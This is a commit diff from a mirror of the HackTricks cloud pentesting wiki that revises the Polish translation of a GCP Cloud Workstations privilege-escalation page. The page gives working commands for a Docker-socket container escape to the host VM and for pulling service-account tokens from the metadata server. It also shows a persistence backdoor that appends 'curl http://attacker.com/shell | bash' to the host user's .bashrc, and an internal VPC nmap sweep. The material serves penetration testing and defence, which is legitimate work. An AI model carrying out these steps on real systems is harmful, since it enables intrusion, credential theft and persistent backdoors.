mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -1,18 +1,19 @@
|
|||||||
# GCP - Cloud Workstations Privesc
|
# GCP - Cloud Workstations Privesc
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||||
|
|
||||||
Główny wektor privilege escalation w Cloud Workstations wynika z potrzeby wsparcia Docker-in-Docker (DinD) workflows dla deweloperów. Kiedy konfiguracja workstation montuje Docker socket lub pozwala na privileged containers (częsta konfiguracja), atakujący wewnątrz workstation container może uciec do leżącego poniżej Compute Engine VM i ukraść jego service account token.
|
Główna ścieżka eskalacji uprawnień w Cloud Workstations wynika z potrzeby obsługi przepływów pracy **Docker-in-Docker (DinD)** dla deweloperów. Jeśli konfiguracja workstation montuje Docker socket lub zezwala na privileged containers (częsta konfiguracja), atakujący wewnątrz kontenera workstation może uciec do leżącej poniżej Compute Engine VM i ukraść jego service account token.
|
||||||
|
|
||||||
**Prerequisites:**
|
**Wymagania wstępne:**
|
||||||
- Dostęp do terminala Cloud Workstation (przez SSH, skompromitowaną sesję lub skradzione credentials)
|
- Dostęp do terminala Cloud Workstation (poprzez SSH, przejętą sesję lub skradzione poświadczenia)
|
||||||
- Konfiguracja workstation musi montować /var/run/docker.sock lub włączać privileged containers
|
- Konfiguracja workstation musi zamontować `/var/run/docker.sock` lub włączyć privileged containers
|
||||||
|
|
||||||
**Architecture context:** Workstation to container (Layer 3) uruchomiony na Docker/Containerd runtime (Layer 2) na GCE VM (Layer 1). Docker socket daje bezpośredni dostęp do host's container runtime.
|
**Kontekst architektury:** workstation to kontener (Warstwa 3) działający na runtime Docker/Containerd (Warstwa 2) na GCE VM (Warstwa 1). Docker socket daje bezpośredni dostęp do runtime'u kontenerów hosta.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
|
> Narzędzie [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatyzuje pełne container escape i uruchamia powłokę roota na hoście VM.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -28,7 +29,7 @@ ls -l /var/run/docker.sock
|
|||||||
|
|
||||||
<summary>Krok 2: Ucieczka do systemu plików hosta VM</summary>
|
<summary>Krok 2: Ucieczka do systemu plików hosta VM</summary>
|
||||||
|
|
||||||
Uruchamiamy uprzywilejowany kontener, montując katalog root hosta do `/mnt/host`. Dzielimy także przestrzeń nazw sieci i PID hosta, aby zmaksymalizować widoczność.
|
Uruchamiamy privileged container, montując katalog główny hosta w `/mnt/host`. Udostępniamy także sieć hosta i PID namespace, aby zmaksymalizować widoczność.
|
||||||
```bash
|
```bash
|
||||||
# Spawn a privileged container mounting the host's root filesystem
|
# Spawn a privileged container mounting the host's root filesystem
|
||||||
docker run -it --rm --privileged --net=host --pid=host \
|
docker run -it --rm --privileged --net=host --pid=host \
|
||||||
@@ -38,7 +39,7 @@ alpine sh
|
|||||||
# Inside the new container, chroot into the host
|
# Inside the new container, chroot into the host
|
||||||
chroot /mnt/host /bin/bash
|
chroot /mnt/host /bin/bash
|
||||||
```
|
```
|
||||||
Masz teraz **root shell on the underlying Compute Engine VM** (Layer 1).
|
Masz teraz **root shell on the underlying Compute Engine VM** (Warstwa 1).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
@@ -62,7 +63,7 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
|||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **Sprawdź zakresy!**
|
> **Sprawdź zakresy!**
|
||||||
> Nawet jeśli przypisany Service Account ma rolę **Editor**, VM może być ograniczony przez zakresy dostępu.
|
> Nawet jeśli dołączony Service Account ma rolę **Editor**, VM może być ograniczony przez zakresy dostępu.
|
||||||
> Jeśli widzisz `https://www.googleapis.com/auth/cloud-platform`, masz pełny dostęp.
|
> Jeśli widzisz `https://www.googleapis.com/auth/cloud-platform`, masz pełny dostęp.
|
||||||
> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** poniżej.
|
> Jeśli widzisz tylko `logging.write` i `monitoring.write`, jesteś ograniczony do wektorów **Network Pivot** i **Persistence** poniżej.
|
||||||
|
|
||||||
@@ -70,7 +71,7 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
|||||||
|
|
||||||
<summary>Krok 4: Achieve Persistence (Backdoor the User)</summary>
|
<summary>Krok 4: Achieve Persistence (Backdoor the User)</summary>
|
||||||
|
|
||||||
Cloud Workstations montują trwały dysk pod `/home/user`. Ponieważ użytkownik kontenera (zwykle `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać do katalogu domowego hosta. Pozwala to na backdoor the environment nawet jeśli workstation container zostanie przebudowany.
|
Cloud Workstations montują persistent disk do `/home/user`. Ponieważ użytkownik kontenera (zazwyczaj `user`, UID 1000) odpowiada użytkownikowi hosta (UID 1000), możesz zapisywać do katalogu domowego hosta. To pozwala backdoor the environment nawet jeśli kontener workstation zostanie odbudowany.
|
||||||
```bash
|
```bash
|
||||||
# Check if you can write to the host's persistent home
|
# Check if you can write to the host's persistent home
|
||||||
ls -la /mnt/host/home/user/
|
ls -la /mnt/host/home/user/
|
||||||
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
<summary>Krok 5: Network Pivot (Dostęp do wewnętrznego VPC)</summary>
|
||||||
|
|
||||||
Ponieważ udostępniasz przestrzeń nazw sieci hosta (`--net=host`), jesteś teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp w oparciu o IP whitelisting.
|
Ponieważ współdzielisz przestrzeń nazw sieci hosta (`--net=host`), jesteś teraz zaufanym węzłem w VPC. Możesz skanować wewnętrzne usługi, które umożliwiają dostęp na podstawie IP whitelisting.
|
||||||
```bash
|
```bash
|
||||||
# Install scanning tools on the host (if internet access allows)
|
# Install scanning tools on the host (if internet access allows)
|
||||||
apk add nmap
|
apk add nmap
|
||||||
@@ -94,3 +95,7 @@ apk add nmap
|
|||||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user